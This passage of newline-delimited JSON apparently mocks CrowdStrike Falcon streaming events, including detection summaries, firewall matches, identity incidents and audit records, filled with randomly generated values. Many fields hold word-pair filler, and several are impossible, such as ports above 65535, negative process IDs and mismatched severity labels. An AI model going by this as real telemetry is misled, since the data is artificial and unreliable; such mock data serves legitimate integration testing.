"thosethought","GrandparentImageFileName": "Germanheat","GrandparentCommandLine": "whichparty","HostGroups": "whypoint","AssociatedFile": "hiscollection","PatternId": -515938901}} +{"metadata": {"customerIDString": "whoseweek","offset": 424382754,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "everyonespeed","HostnameField": "South Americanboard","UserName": "Dutchfrailty","StartTimestamp": 1582830734,"AgentIdString": "iteye"}} +{"metadata": {"customerIDString": "quaintchoir","offset": -1820628241,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "howhail","CustomerId": "happystand","Ipv": "254.224.46.224","CommandLine": "puzzledpatrol","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": true,"Log": true,"Monitor": false},"HostName": "Atlanticforest","ICMPCode": "so fewmurder","ICMPType": "hereday","ImageFileName": "clumsyverb","LocalAddress": "165.34.247.0","LocalPort": "84018","MatchCount": -1132244125,"MatchCountSinceLastReport": 154807215,"NetworkProfile": "Uzbekcatalog","PID": "-1139455255","PolicyName": "Intelligentday","PolicyID": "couplegrowth","Protocol": "Barceloniantrain","RemoteAddress": "49.11.66.131","RemotePort": "41076","RuleAction": "hundredstrip","RuleDescription": "scold hedge team horror album week hat generation exaltation person class number sofa posse damage work staff hour herregiment","RuleFamilyID": "alltent","RuleGroupName": "anyoneflock","RuleName": "herrespect","RuleId": "agreeablehospitality","Status": "Turkishishregiment","Timestamp": 1751371830,"TreeID": "fewband"}} +{"metadata": {"customerIDString": "terriblecaravan","offset": -1505513889,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "proudanger","DetectName": "Cormoranyouth","DetectDescription": "remote troop genetics exaltation leap patrol shower pig cashier party dishonesty answer horde flock wisp snow pod life dynasty tent therething","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thispleasure?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 30,"SeverityName": "Informational","Tactic": "thosedynasty","Technique": "muddyfox","Objective": "ourfrock","SourceAccountDomain": "brighttribe","SourceAccountName": "magnificentchapter","SourceAccountObjectSid": "glamorousgun","SourceEndpointAccountObjectGuid": "Vietnamesesnow","SourceEndpointAccountObjectSid": "ourpower","SourceEndpointHostName": "thosetribe","SourceEndpointIpAddress": "246.74.61.78","SourceEndpointSensorId": "howestate","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "enoughlibrary","PatternId": 2080395392}} +{"metadata": {"customerIDString": "thisbridge","offset": 1773201448,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -654603925,"ProcessEndTime": 806141523,"ProcessId": 90753918,"ParentProcessId": -208198328,"ComputerName": "anyonetime","UserName": "enchantedarchipelago","DetectName": "theirworld","DetectDescription": "troop body loneliness ocean Elizabethanchoir","Severity": 2,"SeverityName": "Critical","FileName": "whyhost","FilePath": "Greekway\\whyhost","CommandLine": "C:\\Windows\\numerouschild","SHA256String": "Turkishcrew","MD5String": "anyonegovernment","SHA1String": "everybodyhorror","MachineDomain": "helpfultribe","NetworkAccesses": [{"AccessType": 1351333491,"AccessTimestamp": 1751371565,"Protocol": "hugestack","LocalAddress": "37.78.174.100","LocalPort": 35323,"RemoteAddress": "44.39.157.244","RemotePort": 67092,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hisapp?_cid=xxxxxxx","SensorId": "somebodystring","IOCType": "hash_md5","IOCValue": "whybunch","DetectId": "younganthology","LocalIP": "51.165.98.148","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "over therecovey","Technique": "fewchest","Objective": "somelist","PatternDispositionDescription": "happiness cashier group mercy slavery child line litter engine outfit flock fact stack article cluster scold koala theirplant","PatternDispositionValue": -1012384039,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": false,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": true,"ProcessBlocked": true,"RegistryOperationBlocked": true,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": false,"SuspendParent": false},"ParentImageFileName": "herteam","ParentCommandLine": "somemanagement","GrandparentImageFileName": "theirpart","GrandparentCommandLine": "enough ofbale","HostGroups": "Antarcticresearch","AssociatedFile": "Costa Ricanpleasure","PatternId": -551524066}} +{"metadata": {"customerIDString": "allbasket","offset": -450081615,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "severalday","IncidentDescription": "mob bale way ball evidence number turkey fact orchard wad hand work company hand choir board clarity chicken trust dynasty scold day ourgirl","Severity": 73,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Guyaneseman","UserName": "fullcrime","EndpointName": "sparsesnow","EndpointIp": "103.97.45.179","Category": "Incidents","NumbersOfAlerts": -1125518693,"NumberOfCompromisedEntities": 257866486,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thatchoir?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "nonelips","offset": 2031442298,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "doublemilk","PolicyId": -801807829,"PolicyStatement": "herwindow","CloudProvider": "sometour","CloudService": "somebodywoman","Severity": 65,"SeverityName": "Medium","EventAction": "Alaskanfriendship","EventSource": "allyear","EventCreatedTimestamp": 1663011160,"UserId": "itwound","UserName": "theseforest","UserSourceIp": "229.204.115.90","Tactic": "allbulb","Technique": "thosebutter"}} +{"metadata": {"customerIDString": "Slovakpopcorn","offset": 2008556161,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "Guyanesefood","UserIp": "193.5.12.148","OperationName": "revokeUserRoles","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "Spanishchaos","ValueString": "whichperson"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "obedienthand"}}} +{"metadata": {"customerIDString": "heavyreligion","offset": -767789731,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "frailstand","DetectName": "herbody","DetectDescription": "troop year pack part bottle disturbedclass","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somebodyday?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 50,"SeverityName": "High","Tactic": "nobodysleep","Technique": "nobodycrowd","Objective": "yourpod","SourceAccountDomain": "itbear","SourceAccountName": "howobesity","SourceAccountObjectSid": "openpod","SourceEndpointAccountObjectGuid": "oneentertainment","SourceEndpointAccountObjectSid": "whypoverty","SourceEndpointHostName": "Portuguesequiver","SourceEndpointIpAddress": "207.20.215.32","SourceEndpointSensorId": "theseclass","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "mylove","PatternId": 305454461}} +{"metadata": {"customerIDString": "Rooseveltianentertainment","offset": 1973970316,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -2144511772,"ProcessEndTime": -1487880295,"ProcessId": -1646375989,"ParentProcessId": 481588581,"ComputerName": "Jungiancard","UserName": "howorchard","DetectName": "itsoap","DetectDescription": "clock irritation covey artist brilliance care flower posse mob toothpaste host thing obesity everythingcloud","Severity": 5,"SeverityName": "Informational","FileName": "anyoneadvantage","FilePath": "tensefrailty\\anyoneadvantage","CommandLine": "C:\\Windows\\hundredsgeneration","SHA256String": "illgenetics","MD5String": "severalfoot","SHA1String": "Einsteiniangrandfather","MachineDomain": "eitherjoy","NetworkAccesses": [{"AccessType": 2089089608,"AccessTimestamp": 1751371565,"Protocol": "nonecatalog","LocalAddress": "162.252.153.169","LocalPort": 78477,"RemoteAddress": "61.250.227.115","RemotePort": 54375,"ConnectionDirection": 2,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/shinystand?_cid=xxxxxxx","SensorId": "thosearmy","IOCType": "hash_md5","IOCValue": "whypencil","DetectId": "itmurder","LocalIP": "12.43.172.16","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Alpinepain","Technique": "hugepart","Objective": "whosepermission","PatternDispositionDescription": "set crowd coffee party Romanpair","PatternDispositionValue": -370145664,"PatternDispositionFlags": {"Indicator": false,"Detect": false,"InddetMask": true,"SensorOnly": true,"Rooting": false,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": true,"KillParent": true,"OperationBlocked": true,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": false,"SuspendProcess": true,"SuspendParent": true},"ParentImageFileName": "whatcase","ParentCommandLine": "thatcase","GrandparentImageFileName": "Muscovitepound","GrandparentCommandLine": "hisbale","HostGroups": "yourweather","AssociatedFile": "sometroop","PatternId": -229596095}} +{"metadata": {"customerIDString": "Intelligenthorror","offset": 1871139807,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "gracefulgroup","UserIp": "117.153.142.95","OperationName": "revokeUserRoles","ServiceName": "detections","AuditKeyValues": [{"Key": "howband","ValueString": "hertroop"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "stormygoal"}}} +{"metadata": {"customerIDString": "Thaiclarity","offset": 1143437964,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "significantwood","IncidentDescription": "Ecuadorianbridge","Severity": 99,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "thisclarity","UserName": "nonewood","EndpointName": "heavilyfashion","EndpointIp": "106.221.161.64","Category": "Incidents","NumbersOfAlerts": 1797537844,"NumberOfCompromisedEntities": 52172658,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/allplant?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "severalwater melon","offset": 589671984,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "whatbrother","PolicyId": 485901958,"PolicyStatement": "thoseluxuty","CloudProvider": "Polynesiansister","CloudService": "eachstaff","Severity": 62,"SeverityName": "Informational","EventAction": "whybundle","EventSource": "doubleboard","EventCreatedTimestamp": 1663011160,"UserId": "couplehost","UserName": "severalgauva","UserSourceIp": "82.149.128.222","Tactic": "eachwork","Technique": "noneplace"}} +{"metadata": {"customerIDString": "whosehappiness","offset": 819306999,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "whichgarden","MobileDetectionId": -556086742,"ComputerName": "Himalayanmagic","UserName": "annoyingteam","ContextTimeStamp": 1649061056,"DetectId": "itsear","DetectName": "itsunshine","DetectDescription": "disregard patrol safety muster childhood group country scold brass housework person key packet itchygroup","Tactic": "whatstreet","TacticId": "sparsefarm","Technique": "Hinducase","TechniqueId": "someoneriches","Objective": "itsedge","Severity": 82,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/anylife?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "Lilliputianream","AndroidAppLabel": "theirbill","DexFileHashes": "longsmile","ImageFileName": "whycackle","AppInstallerInformation": "yourparty","IsBeingDebugged": false,"AndroidAppVersionName": "hungryluck","IsContainerized": true}]}} +{"metadata": {"customerIDString": "therefilm","offset": 2055136783,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anythingream","UserIp": "104.7.82.31","OperationName": "revokeUserRoles","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "richsleep","ValueString": "everyonecovey"}],"Attributes": {"actor_cid": "itsgoat","actor_user": "thatkilometer","actor_user_uuid": "hertowel","app_id": "ashamedman","saml_assertion": "whygoal","target_user": "wherechild","trace_id": "thesegeneration"}}} +{"metadata": {"customerIDString": "Thaiquiver","offset": -847821443,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "anyonechaos","IncidentDescription": "bowl body orange life hedge team horde field host tribe man peace fleet content congregation howstand","Severity": 76,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itmuster","UserName": "whatback","EndpointName": "herlamb","EndpointIp": "191.184.250.52","Category": "Incidents","NumbersOfAlerts": -1357136370,"NumberOfCompromisedEntities": -80994199,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/halfenthusiasm?_cid=xxxxxxx"}} +{"metadata": {"customerIDString": "oddinnocence","offset": 1969968356,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "enthusiasticostrich","Region": "us-west-2","ResourceId": "over theretroop","ResourceIdType": "manyfreezer","ResourceName": "couplenest","ResourceCreateTime": 0,"PolicyStatement": "whoseriver","PolicyId": 254177986,"Severity": 61,"SeverityName": "Informational","CloudPlatform": "whereharvest","CloudService": "manyunderwear","Disposition": "Failed","ResourceUrl": "successfuledge","Finding": "itwater","Tags": [{"Key": "itscackle","ValueString": "heavilyalbum"}],"ReportUrl": "frighteningday","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "anyclarity","offset": 1542644173,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "lonelycackle","UserIp": "231.215.192.184","OperationName": "requestResetPassword","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "ourapartment","ValueString": "thatgovernment"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "lonelyshower"}}} +{"metadata": {"customerIDString": "fullharvest","offset": -1992332871,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "Peruvianharvest","UserID": "everybodylove","ExecutionID": "thosetroupe","ReportID": "someonesmoke","ReportName": "relievedalbum","ReportType": "everycrime","ReportFileReference": "theirscale","Status": "orangecorruption","StatusMessage": "somewisp","ExecutionMetadata": {"ExecutionStart": -1612417320,"ExecutionDuration": 1964116284,"ReportFileName": "everyonedetermination","ResultCount": 1825181464,"ResultID": "gorgeoushospital","SearchWindowStart": -1637571655,"SearchWindowEnd": 2020347431}}} +{"metadata": {"customerIDString": "itsgroup","offset": -775610352,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "whichhatred","DetectName": "hundredsmirror","DetectDescription": "valley body horror thing host town ream wisp packet housework itscrew","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichhorde?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 69,"SeverityName": "Medium","Tactic": "severalcash","Technique": "whatgroup","Objective": "Einsteiniancamp","SourceAccountDomain": "Uzbekexaltation","SourceAccountName": "allhost","SourceAccountObjectSid": "moststring","SourceEndpointAccountObjectGuid": "thatnest","SourceEndpointAccountObjectSid": "hereline","SourceEndpointHostName": "thisfame","SourceEndpointIpAddress": "30.172.35.246","SourceEndpointSensorId": "singlechild","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "lonelyprogress","PatternId": -1953673804}} +{"metadata": {"customerIDString": "lovelyarmy","offset": -574161724,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "numerousblock","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\Putinistcravat","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Web","Description": "album Alaskanfear","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/iteye?_cid=xxxxxxx","FileName": "whatliterature","FilePath": "brightchild\\whatliterature","FilesAccessed": [{"FileName": "whatliterature","FilePath": "brightchild\\whatliterature","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "whatliterature","FilePath": "brightchild\\whatliterature","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\over thereeye","GrandParentImageFileName": "myalligator","GrandParentImageFilePath": "thosesheaf\\myalligator","HostGroups": "motionlesscatalog","Hostname": "awfulhammer","LocalIP": "187.226.154.173","LocalIPv6": "239.12.226.54","LogonDomain": "whosebook","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "everyonecongregation","Name": "Sudanesehost","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1291417288,"ConnectionDirection": 1,"IsIPV6": true,"LocalAddress": "132.51.80.34","LocalPort": 4492,"Protocol": "theirschool","RemoteAddress": "75.28.97.204","RemotePort": 69362}],"Objective": "outstandingpack","ParentCommandLine": "C:\\Windows\\Dutchwork\\lots ofharvest","ParentImageFileName": "lots ofharvest","ParentImageFilePath": "theirfather\\lots ofharvest","ParentProcessId": 611469371,"PatternDispositionDescription": "troupe heels world dog hand fiction year team work milk tree week troupe horde pod cluster cheese solitude journey Somalitrip","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": false},"PatternDispositionValue": -527035831,"PatternId": 1573621037,"PlatformId": "dizzyingblack","PlatformName": "Windows","ProcessEndTime": 1750061039,"ProcessId": 546411519,"ProcessStartTime": 583658379,"ReferrerUrl": "grumpygroup","SHA1String": "thosehouse","SHA256String": "Intelligentproblem","Severity": 48,"SeverityName": "High","SourceProducts": "howharm","SourceVendors": "Afghancovey","Tactic": "ourset","Technique": "South Americanintelligence","Type": "ofp","UserName": "everybodywindow"}} +{"metadata": {"customerIDString": "thosestress","offset": 1574386475,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatsinger","CustomerId": "lightwork","Ipv": "25.148.27.85","CommandLine": "couplesedge","ConnectionDirection": "0","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": true,"Monitor": false},"HostName": "ourtribe","ICMPCode": "itphysician","ICMPType": "hisunion","ImageFileName": "thoseparty","LocalAddress": "194.17.104.9","LocalPort": "80040","MatchCount": 1748116640,"MatchCountSinceLastReport": -121494764,"NetworkProfile": "anythingexaltation","PID": "-1538695975","PolicyName": "Somalimob","PolicyID": "somebrass","Protocol": "Orwellianshower","RemoteAddress": "117.125.216.245","RemotePort": "37707","RuleAction": "severaltribe","RuleDescription": "sedge forest batch body week bale quiver thrill troop yourwoman","RuleFamilyID": "whosebundle","RuleGroupName": "Himalayanomen","RuleName": "thatream","RuleId": "theirtissue","Status": "whatday","Timestamp": 1751371830,"TreeID": "Congoleseold age"}} +{"metadata": {"customerIDString": "thatway","offset": -1442844535,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "whatband","UserIp": "182.7.86.28","OperationName": "activateUser","ServiceName": "detections","AuditKeyValues": [{"Key": "mostline","ValueString": "Barcelonianbatch"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "Sudaneseowl"}}} +{"metadata": {"customerIDString": "fewpart","offset": -1669561139,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "thisfarm","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\yourbale","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Email","Description": "trade catalog bundle money phone problem dynasty school muster excitingbrass","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whichluxuty?_cid=xxxxxxx","FileName": "Elizabethanclass","FilePath": "helplesschoir\\Elizabethanclass","FilesAccessed": [{"FileName": "Elizabethanclass","FilePath": "helplesschoir\\Elizabethanclass","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Elizabethanclass","FilePath": "helplesschoir\\Elizabethanclass","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\thosecast","GrandParentImageFileName": "over therenutrition","GrandParentImageFilePath": "blushingnumber\\over therenutrition","HostGroups": "heranthology","Hostname": "substantialhand","LocalIP": "196.29.220.96","LocalIPv6": "134.230.245.53","LogonDomain": "whatrange","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "whatman","Name": "uptightgossip","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 56811732,"ConnectionDirection": 2,"IsIPV6": true,"LocalAddress": "106.152.237.108","LocalPort": 29498,"Protocol": "a littlemurder","RemoteAddress": "177.32.57.38","RemotePort": 15924}],"Objective": "theirtrip","ParentCommandLine": "C:\\Windows\\eachjudge\\noneapple","ParentImageFileName": "noneapple","ParentImageFilePath": "theirguilt\\noneapple","ParentProcessId": 2101150528,"PatternDispositionDescription": "bale app crowd number transportation Gaussianirritation","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": true,"CriticalProcessDisabled": false,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": true,"Indicator": true,"KillActionFailed": false,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": true,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": true,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 1347352988,"PatternId": -481825112,"PlatformId": "manypunctuation","PlatformName": "Linux","ProcessEndTime": 1004644986,"ProcessId": 312838698,"ProcessStartTime": 1716459440,"ReferrerUrl": "manybravery","SHA1String": "Caesarianschool","SHA256String": "someengine","Severity": 29,"SeverityName": "High","SourceProducts": "ourflag","SourceVendors": "Belgianposse","Tactic": "therebravery","Technique": "wherehost","Type": "ofp","UserName": "whereproduction"}} +{"metadata": {"customerIDString": "fewbattery","offset": 819730980,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "anythingforest","DataDomains": "Web","Description": "company hour company designer battery year understanding bundle shark fun clarity tie love village stupidity year kubanrange","DetectId": "magnificenteffect","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "45.7.49.102","HostNames": "ourlove","Name": "whymob","PatternId": -1898961298,"Severity": 52,"SourceProducts": "Germanpanda","SourceVendors": "wholehatred","StartTimeEpoch": 1643317697728000000,"TacticIds": "severaltroop","Tactics": "itscrowd","TechniqueIds": "everybodygroup","Techniques": "blueslavery","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "so fewfailure","offset": -604173097,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "thatpunctuation","DataDomains": "Email","Description": "bunch year patrol sheaf harvest school ithorror","DetectId": "Intelligentphilosophy","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "99.40.140.74","HostNames": "herecap","Name": "thatwood","PatternId": 1396940807,"Severity": 8,"SourceProducts": "manyirritation","SourceVendors": "crowdeddream","StartTimeEpoch": 1643317697728000000,"TacticIds": "embarrassedbunch","Tactics": "insufficientroom (space)","TechniqueIds": "whichboxers","Techniques": "hugeparty","XdrType": "xdr-scheduled-search" } }} +{"metadata": {"customerIDString": "howlife","offset": -1823057691,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "thisgroup","DataDomains": "Cloud","Description": "knowledge brilliance equipment group movement fiction collection hedge fame problem patrol part information greatcovey","DetectId": "Machiavellianchild","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "229.246.233.111","HostNames": "Peruviantroop","Name": "Bangladeshiloss","PatternId": 644905388,"Severity": 39,"SourceProducts": "manychild","SourceVendors": "whycrowd","StartTimeEpoch": 1643317697728000000,"TacticIds": "hiscomposer","Tactics": "Americanforest","TechniqueIds": "Caesarianeye","Techniques": "anyonechapter","XdrType": "xdr" } }} +{"metadata": {"customerIDString": "substantialfriend","offset": -1396362317,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "yourcackle","CustomerId": "thesecrew","Ipv": "193.229.19.220","CommandLine": "whattrip","ConnectionDirection": "1","EventType": "FirewallRuleIP4Matched","Flags": {"Audit": false,"Log": false,"Monitor": false},"HostName": "itsbatch","ICMPCode": "severalanger","ICMPType": "Asiancast","ImageFileName": "amusedexaltation","LocalAddress": "253.184.132.24","LocalPort": "24050","MatchCount": 1975078664,"MatchCountSinceLastReport": -1310409146,"NetworkProfile": "hiswisp","PID": "-1403334497","PolicyName": "theirpoint","PolicyID": "whichclub","Protocol": "adventurousoutfit","RemoteAddress": "23.170.44.218","RemotePort": "19410","RuleAction": "somebodycrew","RuleDescription": "group failure book youth cash line host bunch class army group fame thereregiment","RuleFamilyID": "over theregovernment","RuleGroupName": "Middle Easternwoman","RuleName": "yourpack","RuleId": "howtroop","Status": "yellowcompany","Timestamp": 1751371830,"TreeID": "emptyaccident"}} +{"metadata": {"customerIDString": "hisheels","offset": 828966465,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "anycase","UserID": "itscackle","ExecutionID": "cutenest","ReportID": "therepronunciation","ReportName": "pleasantbrace","ReportType": "modernbravery","ReportFileReference": "Uzbektolerance","Status": "queerdivorce","StatusMessage": "whydivorce","ExecutionMetadata": {"ExecutionStart": -984913931,"ExecutionDuration": 474863803,"ReportFileName": "adorablemurder","ResultCount": -547953070,"ResultID": "whatjustice","SearchWindowStart": 508813606,"SearchWindowEnd": 1635296210}}} +{"metadata": {"customerIDString": "myexaltation","offset": -523684874,"eventType": "CSPMSearchStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "Gaussianhand","Region": "us-west-2","ResourceId": "Muscovitenumber","ResourceIdType": "whoseyear","ResourceName": "singletrip","ResourceCreateTime": 0,"PolicyStatement": "wherehost","PolicyId": -826618089,"Severity": 43,"SeverityName": "Low","CloudPlatform": "everybodygroup","CloudService": "hisball","Disposition": "Failed","ResourceUrl": "mostcar","Finding": "significantforest","Tags": [{"Key": "whereclothing","ValueString": "everythingdynasty"}],"ReportUrl": "hilariousquiver","Timestamp": 1751371830}} +{"metadata": {"customerIDString": "sufficientslavery","offset": 1957375133,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": -829582961,"ProcessEndTime": 169087412,"ProcessId": 1895039937,"ParentProcessId": 1219099601,"ComputerName": "itanger","UserName": "theirloss","DetectName": "anyoneday","DetectDescription": "honesty artist band clarity pack cheese patrol way intelligence bravery outfit clarity heart understanding college zebra moonlight brilliance heap government government neitherneck","Severity": 3,"SeverityName": "High","FileName": "over therethrill","FilePath": "Christianbrother\\over therethrill","CommandLine": "C:\\Windows\\South Americanroad","SHA256String": "wherecandy","MD5String": "itbale","SHA1String": "Portuguesenest","MachineDomain": "itcompany","NetworkAccesses": [{"AccessType": 1284562200,"AccessTimestamp": 1751371565,"Protocol": "whichmuster","LocalAddress": "120.27.112.218","LocalPort": 42593,"RemoteAddress": "232.133.168.219","RemotePort": 49601,"ConnectionDirection": 0,"IsIPV6": true}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/manyforest?_cid=xxxxxxx","SensorId": "nicereel","IOCType": "domain","IOCValue": "noneteam","DetectId": "ourpart","LocalIP": "169.121.153.163","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "Mayanstaff","Technique": "thesemuster","Objective": "eachuncle","PatternDispositionDescription": "knife caravan metal union brother bouquet leap wisp success news butter chest imagination progress thatnest","PatternDispositionValue": -125722399,"PatternDispositionFlags": {"Indicator": true,"Detect": false,"InddetMask": true,"SensorOnly": false,"Rooting": false,"KillProcess": true,"KillSubProcess": false,"QuarantineMachine": false,"QuarantineFile": false,"PolicyDisabled": false,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": true,"CriticalProcessDisabled": true,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": 